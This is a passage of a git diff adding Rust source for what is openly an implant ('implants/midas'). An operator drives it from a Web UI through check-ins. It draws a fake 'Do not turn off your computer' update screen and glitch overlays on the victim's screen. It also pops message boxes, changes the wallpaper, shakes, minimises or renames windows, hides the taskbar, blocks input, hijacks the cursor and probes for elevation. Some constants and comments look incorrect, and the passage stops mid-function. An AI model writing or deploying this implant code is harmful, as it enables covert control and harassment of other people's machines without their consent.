pos2(rect.center().x, bar.max.y + 20.0),
|
||||
Align2::CENTER_CENTER,
|
||||
format!("{percent}% complete"),
|
||||
FontId::proportional((rect.width() * 0.012).clamp(12.0, 20.0)),
|
||||
Color32::from_white_alpha(180),
|
||||
);
|
||||
|
||||
painter.text(
|
||||
pos2(rect.center().x, rect.max.y - rect.height() * 0.12),
|
||||
Align2::CENTER_CENTER,
|
||||
"Do not turn off your computer",
|
||||
FontId::proportional((rect.width() * 0.012).clamp(12.0, 20.0)),
|
||||
Color32::from_white_alpha(150),
|
||||
);
|
||||
}
|
||||
|
||||
fn draw_toast(painter: &Painter, rect: Rect, title: &str, body: &str) {
|
||||
painter.rect_filled(rect, 8.0, Color32::from_rgb(43, 43, 43));
|
||||
painter.rect_stroke(rect, 8.0, Stroke::new(1.0, Color32::from_white_alpha(40)));
|
||||
|
||||
painter.text(
|
||||
pos2(rect.min.x + TOAST_PADDING, rect.min.y + 12.0),
|
||||
Align2::LEFT_TOP,
|
||||
title,
|
||||
FontId::proportional(14.0),
|
||||
Color32::from_rgb(120, 180, 255),
|
||||
);
|
||||
|
||||
// The painter's `text` does not wrap, so lines are laid out by hand. The
|
||||
// window was sized to fit the wrapped body in `builder`, so this only
|
||||
// truncates if the two disagree about the estimate.
|
||||
let font = FontId::proportional(13.0);
|
||||
let mut y = rect.min.y + TOAST_HEADER;
|
||||
|
||||
let max_lines = (((rect.max.y - y - 8.0) / TOAST_LINE_HEIGHT).floor() as usize).max(1);
|
||||
|
||||
for line in wrap_text(body, TOAST_TEXT_WIDTH, 13.0).into_iter().take(max_lines) {
|
||||
painter.text(
|
||||
pos2(rect.min.x + TOAST_PADDING, y),
|
||||
Align2::LEFT_TOP,
|
||||
line,
|
||||
font.clone(),
|
||||
Color32::from_gray(235),
|
||||
);
|
||||
y += TOAST_LINE_HEIGHT;
|
||||
}
|
||||
}
|
||||
|
||||
fn draw_note(painter: &Painter, rect: Rect, text: &str, size: f32) {
|
||||
let font = FontId::proportional(size);
|
||||
|
||||
// Transparent window, so a drop shadow is what keeps the text legible over
|
||||
// an arbitrary wallpaper.
|
||||
let lines = wrap_text(text, rect.width() - 24.0, size);
|
||||
|
||||
for (offset, color) in [
|
||||
(2.0, Color32::from_black_alpha(190)),
|
||||
(0.0, Color32::from_rgb(255, 236, 120)),
|
||||
] {
|
||||
let mut y = rect.min.y + 12.0 + offset;
|
||||
for line in &lines {
|
||||
painter.text(
|
||||
pos2(rect.min.x + 12.0 + offset, y),
|
||||
Align2::LEFT_TOP,
|
||||
line,
|
||||
font.clone(),
|
||||
color,
|
||||
);
|
||||
y += size * 1.25;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn draw_spook(painter: &Painter, rect: Rect, mode: &str, time: f64, seed: u64) {
|
||||
match mode {
|
||||
"matrix" => draw_matrix(painter, rect, time, seed),
|
||||
"scanline" => draw_scanline(painter, rect, time),
|
||||
"glitch" => draw_glitch(painter, rect, time, seed),
|
||||
// `static` is the default arm, and the only mode with no time input.
|
||||
_ => draw_static(painter, rect, time, seed),
|
||||
}
|
||||
}
|
||||
|
||||
fn draw_static(painter: &Painter, rect: Rect, time: f64, seed: u64) {
|
||||
painter.rect_filled(rect, 0.0, Color32::from_gray(8));
|
||||
|
||||
let frame = (time * 30.0) as u64;
|
||||
let mut rng = Rng::new(seed ^ frame.wrapping_mul(0x9E37_79B9_7F4A_7C15));
|
||||
|
||||
// A couple of thousand rects reads as noise and stays cheap; one rect per
|
||||
// pixel would not.
|
||||
for _ in 0..2200 {
|
||||
let w = rng.range(2.0, 12.0);
|
||||
let h = rng.range(1.0, 4.0);
|
||||
let grey = rng.range(20.0, 255.0) as u8;
|
||||
|
||||
painter.rect_filled(
|
||||
Rect::from_min_size(
|
||||
pos2(rng.range(0.0, rect.width()), rng.range(0.0, rect.height())),
|
||||
Vec2::new(w, h),
|
||||
),
|
||||
0.0,
|
||||
Color32::from_gray(grey),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
fn draw_matrix(painter: &Painter, rect: Rect, time: f64, seed: u64) {
|
||||
painter.rect_filled(rect, 0.0, Color32::from_rgb(0, 8, 0));
|
||||
|
||||
// ASCII only, deliberately: egui's bundled default font has no CJK
|
||||
// coverage, so katakana would render as blank boxes rather than glyphs.
|
||||
const GLYPHS: &[u8] = b"0123456789ABCDEF$<>#@%&*+=|\\";
|
||||
|
||||
let cell: f32 = 18.0;
|
||||
let columns = (rect.width() / cell).ceil() as u32;
|
||||
let rows = (rect.height() / cell).ceil() as u32;
|
||||
let tail = 14i64;
|
||||
|
||||
let font = FontId::monospace(cell * 0.9);
|
||||
|
||||
for column in 0..columns {
|
||||
// Per-column speed and phase derived from the column index, so the
|
||||
// animation is a pure function of time and needs no stored state.
|
||||
let column_seed = seed ^ (column as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15);
|
||||
let speed = 6.0 + (column_seed % 9) as f64;
|
||||
let phase = ((column_seed >> 8) % 1000) as f64 / 1000.0;
|
||||
|
||||
let span = rows as i64 + tail;
|
||||
let head = (time.mul_add(speed, phase * 60.0) % span as f64) as i64;
|
||||
|
||||
for offset in 0..tail {
|
||||
let row = head - offset;
|
||||
if row < 0 || row >= rows as i64 {
|
||||
continue;
|
||||
}
|
||||
|
||||
let index = (column_seed.rotate_left(row as u32 * 5) as usize) % GLYPHS.len();
|
||||
let glyph = GLYPHS[index] as char;
|
||||
|
||||
// Brightest at the head, fading down the tail.
|
||||
let alpha = 255 - (offset as f32 / tail as f32 * 235.0) as u8;
|
||||
let color = if offset == 0 {
|
||||
Color32::from_rgb(200, 255, 200)
|
||||
} else {
|
||||
Color32::from_rgba_unmultiplied(0, 210, 60, alpha)
|
||||
};
|
||||
|
||||
painter.text(
|
||||
pos2(column as f32 * cell, row as f32 * cell),
|
||||
Align2::LEFT_TOP,
|
||||
glyph,
|
||||
font.clone(),
|
||||
color,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn draw_scanline(painter: &Painter, rect: Rect, time: f64) {
|
||||
painter.rect_filled(rect, 0.0, Color32::from_rgb(6, 10, 6));
|
||||
|
||||
let mut y = 0.0f32;
|
||||
while y < rect.height() {
|
||||
painter.rect_filled(
|
||||
Rect::from_min_size(
|
||||
pos2(rect.min.x, rect.min.y + y),
|
||||
Vec2::new(rect.width(), 1.0),
|
||||
),
|
||||
0.0,
|
||||
Color32::from_black_alpha(140),
|
||||
);
|
||||
y += 3.0;
|
||||
}
|
||||
|
||||
// A brighter band sweeping down, which is what sells it as a display fault.
|
||||
let span = rect.height() + 200.0;
|
||||
let band_y = ((time * 260.0) % span as f64) as f32 - 100.0;
|
||||
|
||||
for offset in 0..3 {
|
||||
painter.rect_filled(
|
||||
Rect::from_min_size(
|
||||
pos2(rect.min.x, rect.min.y + band_y + offset as f32 * 2.0),
|
||||
Vec2::new(rect.width(), 1.0),
|
||||
),
|
||||
0.0,
|
||||
Color32::from_rgb(120, 255, 160),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
fn draw_glitch(painter: &Painter, rect: Rect, time: f64, seed: u64) {
|
||||
painter.rect_filled(rect, 0.0, Color32::from_rgb(10, 0, 14));
|
||||
|
||||
let mut rng = Rng::new(seed ^ (time * 20.0) as u64);
|
||||
|
||||
// Horizontal slices displaced sideways, the classic datamosh look.
|
||||
let slices = 40;
|
||||
let band = rect.height() / slices as f32;
|
||||
|
||||
for index in 0..slices {
|
||||
let shift = if rng.f32() > 0.82 {
|
||||
rng.range(-90.0, 90.0)
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
|
||||
let hue = rng.f32();
|
||||
let color = Color32::from_rgba_unmultiplied(
|
||||
(hue * 255.0) as u8,
|
||||
((1.0 - hue) * 180.0) as u8,
|
||||
(rng.f32() * 200.0) as u8,
|
||||
90,
|
||||
);
|
||||
|
||||
painter.rect_filled(
|
||||
Rect::from_min_size(
|
||||
pos2(rect.min.x + shift, rect.min.y + index as f32 * band),
|
||||
Vec2::new(rect.width(), band),
|
||||
),
|
||||
0.0,
|
||||
color,
|
||||
);
|
||||
}
|
||||
|
||||
// A few solid bright bands on top.
|
||||
for _ in 0..6 {
|
||||
let height = rng.range(2.0, 14.0);
|
||||
let alpha = rng.range(40.0, 150.0) as u8;
|
||||
|
||||
painter.rect_filled(
|
||||
Rect::from_min_size(
|
||||
pos2(
|
||||
rect.min.x + rng.range(-60.0, 60.0),
|
||||
rect.min.y + rng.range(0.0, rect.height()),
|
||||
),
|
||||
Vec2::new(rect.width(), height),
|
||||
),
|
||||
0.0,
|
||||
Color32::from_white_alpha(alpha),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Helpers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Greedy word wrap. The painter's `text` call does not wrap, and these strings
|
||||
/// are short enough that a per-character width estimate is good enough - the
|
||||
/// only consequence of being out is a line that is a little short or a little
|
||||
/// wide, and the window was sized with the same estimate.
|
||||
fn wrap_text(text: &str, max_width: f32, font_size: f32) -> Vec<String> {
|
||||
let char_width = (font_size * 0.55).max(1.0);
|
||||
let per_line = (max_width / char_width).floor().max(1.0) as usize;
|
||||
|
||||
let mut lines = Vec::new();
|
||||
let mut current = String::new();
|
||||
|
||||
for word in text.split_whitespace() {
|
||||
let candidate = if current.is_empty() {
|
||||
word.to_string()
|
||||
} else {
|
||||
format!("{current} {word}")
|
||||
};
|
||||
|
||||
if current.is_empty() || candidate.chars().count() <= per_line {
|
||||
current = candidate;
|
||||
} else {
|
||||
lines.push(std::mem::take(&mut current));
|
||||
current = word.to_string();
|
||||
}
|
||||
}
|
||||
|
||||
if !current.is_empty() {
|
||||
lines.push(current);
|
||||
}
|
||||
if lines.is_empty() {
|
||||
lines.push(String::new());
|
||||
}
|
||||
|
||||
lines
|
||||
}
|
||||
814
implants/midas/src/gui/win.rs
Normal file
814
implants/midas/src/gui/win.rs
Normal file
@ -0,0 +1,814 @@
|
||||
//! Windows desktop integration.
|
||||
//!
|
||||
//! The Win32 entry points are declared by hand rather than pulled from the
|
||||
//! `windows` crate. That keeps the dependency list short, keeps the binary
|
||||
//! small, and — because the declarations are plain `extern "system"` with no
|
||||
//! per-version typing — the module links identically under both
|
||||
//! `x86_64-pc-windows-msvc` and the `x86_64-pc-windows-gnu` target used to
|
||||
//! cross-compile from Linux.
|
||||
//!
|
||||
//! Nothing here is called on the check-in thread. Blocking calls (`msgbox`,
|
||||
//! `shake`, `lock_input`, `cursor`) are invoked through `gui::detach`, because
|
||||
//! the Web UI abandons a task after 90 seconds and an inline modal dialog would
|
||||
//! stall check-ins for as long as it stayed open.
|
||||
|
||||
// The Win32 spellings are kept verbatim so each declaration can be read against
|
||||
// the SDK header by name: a renamed `Hwnd` would not match what the operator
|
||||
// would look up when checking whether a call is being used correctly.
|
||||
#![allow(non_snake_case, non_camel_case_types, clippy::upper_case_acronyms)]
|
||||
|
||||
use std::ffi::c_void;
|
||||
use std::os::windows::ffi::OsStrExt;
|
||||
use std::time::{Duration, Instant};
|
||||
|
||||
type HWND = *mut c_void;
|
||||
type HKEY = *mut c_void;
|
||||
type HANDLE = *mut c_void;
|
||||
type UINT = u32;
|
||||
type DWORD = u32;
|
||||
type LPARAM = isize;
|
||||
type BOOL = i32;
|
||||
|
||||
// --- MessageBoxW ------------------------------------------------------------
|
||||
const MB_OK: u32 = 0x0000;
|
||||
const MB_ICONERROR: u32 = 0x0010;
|
||||
const MB_ICONQUESTION: u32 = 0x0020;
|
||||
const MB_ICONWARNING: u32 = 0x0030;
|
||||
const MB_ICONINFORMATION: u32 = 0x0040;
|
||||
const MB_SETFOREGROUND: u32 = 0x10000;
|
||||
const MB_TOPMOST: u32 = 0x40000;
|
||||
|
||||
// --- SystemParametersInfoW --------------------------------------------------
|
||||
const SPI_SETDESKWALLPAPER: u32 = 0x0014;
|
||||
const SPI_GETDESKWALLPAPER: u32 = 0x0073;
|
||||
const SPIF_UPDATEINIFILE: u32 = 0x0001;
|
||||
const SPIF_SENDCHANGE: u32 = 0x0002;
|
||||
|
||||
// --- ShowWindow / SetWindowPos ---------------------------------------------
|
||||
const SW_HIDE: i32 = 0;
|
||||
const SW_SHOW: i32 = 5;
|
||||
const SW_MINIMIZE: i32 = 6;
|
||||
const SW_RESTORE: i32 = 9;
|
||||
const SWP_NOSIZE: u32 = 0x0001;
|
||||
const SWP_NOZORDER: u32 = 0x0004;
|
||||
const SWP_NOACTIVATE: u32 = 0x0010;
|
||||
|
||||
// --- PlaySoundW -------------------------------------------------------------
|
||||
const SND_ASYNC: u32 = 0x0001;
|
||||
const SND_FILENAME: u32 = 0x0002;
|
||||
const SND_LOOP: u32 = 0x0008;
|
||||
/// Selects a system sound by name rather than a file. Not the same bit as
|
||||
/// `SND_ASYNC`, which is a common transcription slip.
|
||||
const SND_ALIAS: u32 = 0x1100;
|
||||
|
||||
// --- GetSystemMetrics -------------------------------------------------------
|
||||
const SM_CXSCREEN: i32 = 0;
|
||||
const SM_CYSCREEN: i32 = 1;
|
||||
|
||||
// --- Registry ---------------------------------------------------------------
|
||||
const HKEY_CURRENT_USER: HKEY = 0x8000_0001u32 as HKEY;
|
||||
const KEY_SET_VALUE: DWORD = 0x0002;
|
||||
const REG_DWORD: DWORD = 4;
|
||||
const ERROR_SUCCESS: i32 = 0;
|
||||
|
||||
const WM_SETTINGCHANGE: UINT = 0x001A;
|
||||
const HWND_BROADCAST: HWND = 0xFFFFu32 as HWND;
|
||||
const SMTO_ABORTIFHUNG: UINT = 0x0002;
|
||||
|
||||
const HWND_TOP: HWND = 0u32 as HWND;
|
||||
|
||||
// --- waveOutSetVolume -------------------------------------------------------
|
||||
const WAVE_MAPPER: usize = 0xFFFF_FFFF;
|
||||
|
||||
#[repr(C)]
|
||||
struct RECT {
|
||||
left: i32,
|
||||
top: i32,
|
||||
right: i32,
|
||||
bottom: i32,
|
||||
}
|
||||
|
||||
#[link(name = "user32")]
|
||||
extern "system" {
|
||||
fn MessageBoxW(hwnd: HWND, text: *const u16, caption: *const u16, kind: u32) -> i32;
|
||||
fn SystemParametersInfoW(action: u32, param: u32, param_ptr: *mut c_void, flags: u32) -> BOOL;
|
||||
fn GetForegroundWindow() -> HWND;
|
||||
fn SetWindowPos(
|
||||
hwnd: HWND,
|
||||
insert_after: HWND,
|
||||
x: i32,
|
||||
y: i32,
|
||||
cx: i32,
|
||||
cy: i32,
|
||||
flags: u32,
|
||||
) -> BOOL;
|
||||
fn GetWindowRect(hwnd: HWND, rect: *mut RECT) -> BOOL;
|
||||
fn SetWindowTextW(hwnd: HWND, text: *const u16) -> BOOL;
|
||||
fn GetWindowTextLengthW(hwnd: HWND) -> i32;
|
||||
fn GetWindowTextW(hwnd: HWND, text: *mut u16) -> i32;
|
||||
fn ShowWindow(hwnd: HWND, command: i32) -> BOOL;
|
||||
fn FindWindowW(class: *const u16, name: *const u16) -> HWND;
|
||||
fn EnumWindows(callback: Option<unsafe extern "system" fn(HWND, LPARAM) -> BOOL>, lparam: LPARAM) -> BOOL;
|
||||
fn IsWindowVisible(hwnd: HWND) -> BOOL;
|
||||
fn IsIconic(hwnd: HWND) -> BOOL;
|
||||
fn GetProcessWindowStation() -> HANDLE;
|
||||
fn BlockInput(block: BOOL) -> BOOL;
|
||||
fn SetCursorPos(x: i32, y: i32) -> BOOL;
|
||||
fn GetCursorPos(point: *mut POINT) -> BOOL;
|
||||
fn ShowCursor(show: BOOL) -> i32;
|
||||
fn GetSystemMetrics(index: i32) -> i32;
|
||||
fn SendMessageTimeoutW(
|
||||
hwnd: HWND,
|
||||
message: UINT,
|
||||
wparam: usize,
|
||||
lparam: usize,
|
||||
flags: UINT,
|
||||
timeout: u32,
|
||||
result: *mut usize,
|
||||
) -> usize;
|
||||
}
|
||||
|
||||
#[link(name = "winmm")]
|
||||
extern "system" {
|
||||
fn PlaySoundW(sound: *const u16, module: *mut c_void, flags: u32) -> BOOL;
|
||||
fn waveOutSetVolume(device: usize, volume: u32) -> u32;
|
||||
fn waveOutGetVolume(device: usize, volume: *mut u32) -> u32;
|
||||
}
|
||||
|
||||
#[link(name = "kernel32")]
|
||||
extern "system" {
|
||||
fn CloseHandle(handle: HANDLE) -> BOOL;
|
||||
}
|
||||
|
||||
#[link(name = "shell32")]
|
||||
extern "system" {
|
||||
fn ShellExecuteW(
|
||||
hwnd: HWND,
|
||||
operation: *const u16,
|
||||
file: *const u16,
|
||||
parameters: *const u16,
|
||||
directory: *const u16,
|
||||
show: i32,
|
||||
) -> *mut c_void;
|
||||
}
|
||||
|
||||
#[link(name = "advapi32")]
|
||||
extern "system" {
|
||||
fn RegOpenKeyExW(
|
||||
hkey: HKEY,
|
||||
subkey: *const u16,
|
||||
options: DWORD,
|
||||
access: DWORD,
|
||||
result: *mut HKEY,
|
||||
) -> i32;
|
||||
fn RegSetValueExW(
|
||||
hkey: HKEY,
|
||||
value_name: *const u16,
|
||||
reserved: DWORD,
|
||||
value_type: DWORD,
|
||||
data: *const u8,
|
||||
data_size: DWORD,
|
||||
) -> i32;
|
||||
fn RegCloseKey(hkey: HKEY) -> i32;
|
||||
fn OpenProcessToken(process: HANDLE, access: DWORD, token: *mut HANDLE) -> BOOL;
|
||||
fn GetTokenInformation(
|
||||
token: HANDLE,
|
||||
class: i32,
|
||||
info: *mut c_void,
|
||||
length: DWORD,
|
||||
returned: *mut DWORD,
|
||||
) -> BOOL;
|
||||
fn GetCurrentProcess() -> HANDLE;
|
||||
}
|
||||
|
||||
// --- Environment probing ----------------------------------------------------
|
||||
const TOKEN_QUERY: DWORD = 0x0008;
|
||||
const TOKEN_ELEVATION_CLASS: i32 = 20;
|
||||
|
||||
/// Whether the process has an interactive window station.
|
||||
///
|
||||
/// Null from `GetProcessWindowStation` means the process was never assigned one,
|
||||
/// which is the case for a service or a scheduled task. Every overlay window
|
||||
/// would fail in that state, so `sysinfo` reports it rather than letting the
|
||||
/// operator find out by sending a prank that does nothing.
|
||||
pub fn has_window_station() -> bool {
|
||||
!unsafe { GetProcessWindowStation() }.is_null()
|
||||
}
|
||||
|
||||
/// Whether the process is running elevated.
|
||||
///
|
||||
/// Reported because it is the difference between `lockinput` working and being
|
||||
/// refused: `BlockInput` needs SE_DEBUG access, which a standard user does not
|
||||
/// have.
|
||||
pub fn is_elevated() -> bool {
|
||||
let mut token: HANDLE = std::ptr::null_mut();
|
||||
|
||||
// SAFETY: `token` is a live local, and every failure path below leaves it
|
||||
// unopened rather than closing a garbage handle.
|
||||
if unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) } == 0 {
|
||||
return false;
|
||||
}
|
||||
|
||||
// A `TOKEN_ELEVATION` is a single DWORD: 1 when the token is an
|
||||
// administrator token, 0 when it is the linked restricted one.
|
||||
let mut elevation: DWORD = 0;
|
||||
let mut returned: DWORD = 0;
|
||||
|
||||
let ok = unsafe {
|
||||
GetTokenInformation(
|
||||
token,
|
||||
TOKEN_ELEVATION_CLASS,
|
||||
&mut elevation as *mut DWORD as *mut c_void,
|
||||
std::mem::size_of::<DWORD>() as DWORD,
|
||||
&mut returned,
|
||||
)
|
||||
} != 0;
|
||||
|
||||
unsafe { CloseHandle(token) };
|
||||
|
||||
// A full administrator token reports 2; 1 is a partially elevated one that
|
||||
// still counts for our purposes. 0 is the standard user's token.
|
||||
ok && elevation >= 1
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
struct POINT {
|
||||
x: i32,
|
||||
y: i32,
|
||||
}
|
||||
|
||||
const SW_SHOWNORMAL: i32 = 1;
|
||||
|
||||
fn wide(text: &str) -> Vec<u16> {
|
||||
std::ffi::OsStr::new(text)
|
||||
.encode_wide()
|
||||
.chain(std::iter::once(0))
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn is_bad(hwnd: HWND) -> bool {
|
||||
hwnd.is_null() || hwnd as isize <= 0
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Dialogs
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Modal message box. Blocks until dismissed, so this must never run on the
|
||||
/// check-in thread.
|
||||
pub fn msgbox(title: &str, body: &str, icon: &str, sound: bool) {
|
||||
let flags = match icon {
|
||||
"error" => MB_ICONERROR,
|
||||
"warning" => MB_ICONWARNING,
|
||||
"question" => MB_ICONQUESTION,
|
||||
"information" | "info" => MB_ICONINFORMATION,
|
||||
_ => 0,
|
||||
} | MB_OK | MB_SETFOREGROUND | MB_TOPMOST;
|
||||
|
||||
// The alarm goes first, and asynchronously, so the sound overlaps the
|
||||
// dialog. Played after the box is dismissed it would land on a desktop that
|
||||
// has already moved on.
|
||||
if sound {
|
||||
unsafe {
|
||||
PlaySoundW(
|
||||
wide("SystemQuestion").as_ptr(),
|
||||
std::ptr::null_mut(),
|
||||
SND_ALIAS | SND_ASYNC,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
unsafe {
|
||||
MessageBoxW(
|
||||
std::ptr::null_mut(),
|
||||
wide(body).as_ptr(),
|
||||
wide(title).as_ptr(),
|
||||
flags,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Wallpaper
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub fn set_wallpaper(path: &str) -> Result<(), String> {
|
||||
if !std::path::Path::new(path).exists() {
|
||||
return Err(format!("{path} does not exist"));
|
||||
}
|
||||
|
||||
let wide_path = wide(path);
|
||||
let ok = unsafe {
|
||||
SystemParametersInfoW(
|
||||
SPI_SETDESKWALLPAPER,
|
||||
0,
|
||||
wide_path.as_ptr() as *mut c_void,
|
||||
SPIF_UPDATEINIFILE | SPIF_SENDCHANGE,
|
||||
)
|
||||
};
|
||||
|
||||
if ok == 0 {
|
||||
Err("SystemParametersInfoW(SPI_SETDESKWALLPAPER) failed".into())
|
||||
} else {
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
pub fn get_wallpaper() -> Result<String, String> {
|
||||
const MAX_PATH: usize = 260;
|
||||
let mut buffer = vec![0u16; MAX_PATH];
|
||||
|
||||
let ok = unsafe {
|
||||
SystemParametersInfoW(
|
||||
SPI_GETDESKWALLPAPER,
|
||||
MAX_PATH as u32,
|
||||
buffer.as_mut_ptr() as *mut c_void,
|
||||
0,
|
||||
)
|
||||
};
|
||||
|
||||
if ok == 0 {
|
||||
return Err("SystemParametersInfoW(SPI_GETDESKWALLPAPER) failed".into());
|
||||
}
|
||||
|
||||
let end = buffer.iter().position(|&c| c == 0).unwrap_or(0);
|
||||
Ok(String::from_utf16_lossy(&buffer[..end]))
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Windows
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
struct WindowList {
|
||||
windows: Vec<(HWND, i32, i32)>,
|
||||
}
|
||||
|
||||
unsafe extern "system" fn collect_visible(hwnd: HWND, lparam: LPARAM) -> BOOL {
|
||||
let list = &mut *(lparam as *mut WindowList);
|
||||
|
||||
if IsWindowVisible(hwnd) == 0 {
|
||||
return 1;
|
||||
}
|
||||
|
||||
let mut rect = RECT {
|
||||
left: 0,
|
||||
top: 0,
|
||||
right: 0,
|
||||
bottom: 0,
|
||||
};
|
||||
|
||||
if GetWindowRect(hwnd, &mut rect) == 0 {
|
||||
return 1;
|
||||
}
|
||||
|
||||
list.windows.push((hwnd, rect.left, rect.top));
|
||||
1
|
||||
}
|
||||
|
||||
fn visible_windows() -> Vec<(HWND, i32, i32)> {
|
||||
let mut list = WindowList { windows: Vec::new() };
|
||||
|
||||
unsafe {
|
||||
EnumWindows(
|
||||
Some(collect_visible),
|
||||
&mut list as *mut WindowList as LPARAM,
|
||||
);
|
||||
}
|
||||
|
||||
list.windows
|
||||
}
|
||||
|
||||
/// Moves windows back and forth horizontally, then puts them back.
|
||||
///
|
||||
/// `target` is `foreground` or `all`; `mouse` never reaches this function
|
||||
/// because `commands.rs` routes it to `cursor`.
|
||||
pub fn shake(seconds: u64, amplitude: i32, interval: u64, target: &str) {
|
||||
let targets: Vec<(HWND, i32, i32)> = if target == "all" {
|
||||
visible_windows()
|
||||
} else {
|
||||
let hwnd = unsafe { GetForegroundWindow() };
|
||||
if is_bad(hwnd) {
|
||||
return;
|
||||
}
|
||||
|
||||
let mut rect = RECT {
|
||||
left: 0,
|
||||
top: 0,
|
||||
right: 0,
|
||||
bottom: 0,
|
||||
};
|
||||
if unsafe { GetWindowRect(hwnd, &mut rect) } == 0 {
|
||||
return;
|
||||
}
|
||||
vec![(hwnd, rect.left, rect.top)]
|
||||
};
|
||||
|
||||
let deadline = Instant::now() + Duration::from_secs(seconds);
|
||||
let step = Duration::from_millis(interval.max(10));
|
||||
let mut phase = 0i32;
|
||||
|
||||
while Instant::now() < deadline {
|
||||
phase = if phase == 0 { 1 } else { 0 };
|
||||
let offset = if phase == 1 { amplitude } else { -amplitude };
|
||||
|
||||
for (hwnd, x, y) in &targets {
|
||||
unsafe {
|
||||
SetWindowPos(*hwnd, HWND_TOP, x + offset, *y, 0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
|
||||
}
|
||||
}
|
||||
|
||||
std::thread::sleep(step);
|
||||
}
|
||||
|
||||
// Restore, or the target is left with every window nudged sideways.
|
||||
for (hwnd, x, y) in &targets {
|
||||
unsafe {
|
||||
SetWindowPos(*hwnd, HWND_TOP, *x, *y, 0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub fn get_foreground_title() -> Result<String, String> {
|
||||
let hwnd = unsafe { GetForegroundWindow() };
|
||||
if is_bad(hwnd) {
|
||||
return Err("no foreground window".into());
|
||||
}
|
||||
|
||||
let length = unsafe { GetWindowTextLengthW(hwnd) };
|
||||
if length <= 0 {
|
||||
return Ok(String::new());
|
||||
}
|
||||
|
||||
let mut buffer = vec![0u16; length as usize + 1];
|
||||
let copied = unsafe { GetWindowTextW(hwnd, buffer.as_mut_ptr()) };
|
||||
if copied <= 0 {
|
||||
return Err("could not read the window title".into());
|
||||
}
|
||||
|
||||
Ok(String::from_utf16_lossy(&buffer[..copied as usize]))
|
||||
}
|
||||
|
||||
/// Returns the previous title so the operator can put it back.
|
||||
pub fn set_foreground_title(title: &str) -> Result<String, String> {
|
||||
let hwnd = unsafe { GetForegroundWindow() };
|
||||
if is_bad(hwnd) {
|
||||
return Err("no foreground window".into());
|
||||
}
|
||||
|
||||
let previous = get_foreground_title().unwrap_or_default();
|
||||
let ok = unsafe { SetWindowTextW(hwnd, wide(title).as_ptr()) };
|
||||
|
||||
if ok == 0 {
|
||||
Err("SetWindowTextW failed (the target window may be elevated)".into())
|
||||
} else {
|
||||
Ok(previous)
|
||||
}
|
||||
}
|
||||
|
||||
pub fn set_taskbar(state: &str) -> Result<(), String> {
|
||||
let class = wide("Shell_TrayWnd");
|
||||
let hwnd = unsafe { FindWindowW(class.as_ptr(), std::ptr::null()) };
|
||||
if is_bad(hwnd) {
|
||||
return Err("taskbar window not found".into());
|
||||
}
|
||||
|
||||
let command = match state {
|
||||
"hide" => SW_HIDE,
|
||||
"show" => SW_SHOW,
|
||||
// `IsWindowVisible` is the same predicate `ShowWindow(SW_HIDE)` clears,
|
||||
// so this inverts exactly what the last call did.
|
||||
_ => {
|
||||
if unsafe { IsWindowVisible(hwnd) } != 0 {
|
||||
SW_HIDE
|
||||
} else {
|
||||
SW_SHOW
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
unsafe { ShowWindow(hwnd, command) };
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn set_minimized(state: &str) -> Result<(), String> {
|
||||
let windows = visible_windows();
|
||||
if windows.is_empty() {
|
||||
return Err("no visible windows to act on".into());
|
||||
}
|
||||
|
||||
// `IsIconic` is the same predicate `SW_MINIMIZE` sets. Toggling each window
|
||||
// individually would leave a mix of minimised and restored windows, which
|
||||
// neither `minimize` nor `restore` could describe afterwards, so the whole
|
||||
// set moves one way based on whether all of them are already down.
|
||||
let all_minimized = windows.iter().all(|&(hwnd, _, _)| unsafe { IsIconic(hwnd) } != 0);
|
||||
|
||||
let command = match state {
|
||||
"minimize" => SW_MINIMIZE,
|
||||
"restore" => SW_RESTORE,
|
||||
_ if all_minimized => SW_RESTORE,
|
||||
_ => SW_MINIMIZE,
|
||||
};
|
||||
|
||||
for (hwnd, _, _) in windows {
|
||||
unsafe { ShowWindow(hwnd, command) };
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Cursor and input
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub fn cursor(action: &str, seconds: u64) {
|
||||
let deadline = Instant::now() + Duration::from_secs(seconds);
|
||||
let mut origin = POINT { x: 0, y: 0 };
|
||||
let had_position = unsafe { GetCursorPos(&mut origin) } != 0;
|
||||
|
||||
// `ShowCursor` keeps an internal increment/decrement counter, so a balanced
|
||||
// pair of calls is all that is needed. The per-tick call below is a
|
||||
// re-assert, not a second increment.
|
||||
if action == "hide" {
|
||||
unsafe { ShowCursor(0) };
|
||||
}
|
||||
|
||||
let mut tick: u64 = 0;
|
||||
while Instant::now() < deadline {
|
||||
let (x, y) = match action {
|
||||
"hide" | "corner" => (0, 0),
|
||||
"freeze" => (origin.x, origin.y),
|
||||
"shake" => {
|
||||
// Alternate a few pixels either side of where the pointer was.
|
||||
let delta = if tick % 2 == 0 { 24 } else { -24 };
|
||||
(origin.x + delta, origin.y)
|
||||
}
|
||||
_ => break,
|
||||
};
|
||||
|
||||
unsafe { SetCursorPos(x, y) };
|
||||
|
||||
